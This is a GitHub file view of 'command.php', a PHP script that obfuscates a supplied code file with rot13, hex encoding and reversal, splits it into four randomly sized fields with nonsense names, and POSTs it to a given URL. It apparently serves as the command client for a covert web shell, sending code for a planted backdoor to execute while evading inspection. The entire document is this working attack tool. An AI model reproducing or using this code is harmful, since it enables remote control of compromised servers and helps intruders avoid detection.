-
Notifications
You must be signed in to change notification settings - Fork 42
/
Copy pathcommand.php
49 lines (38 loc) · 1.07 KB
/
command.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
$code = file_get_contents($argv[1]);
$url = $argv[2];
$stage1 = str_rot13($code);
$stage2 = unpack('H*', $stage1);
$stage3 = strrev($stage2[1]);
$len = strlen($stage3);
$m0 = rand(1, $len);
$len -= $m0;
$m1 = rand(1, $len);
$len -= $m1;
$m2 = rand(1, $len);
$len -= $m2;
$m3 = $len;
$olen = strlen($stage3);
print "Encoded string $olen characters\n";
print "Substring 1: $m0\n";
print "Substring 2: $m1\n";
print "Substring 3: $m2\n";
print "Substring 4: $m3\n";
$sum = $m0 + $m1 + $m2 + $m3;
print "Sum: $sum\n";
$fields = [
'jweyc' => substr($stage3, 0, $m0),
'aeskoly' => substr($stage3, $m0, $m1),
'owhggiku' => substr($stage3, $m0+$m1, $m2),
'callbrhy' => substr($stage3, $m0+$m1+$m2)
];
// The fields can be cookie name/values,
// or HTTP POST parameter name/values.
$fields_string = http_build_query($fields);
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL, $url);
curl_setopt($ch,CURLOPT_POST, true);
curl_setopt($ch,CURLOPT_POSTFIELDS, $fields_string);
curl_setopt($ch,CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
echo $result;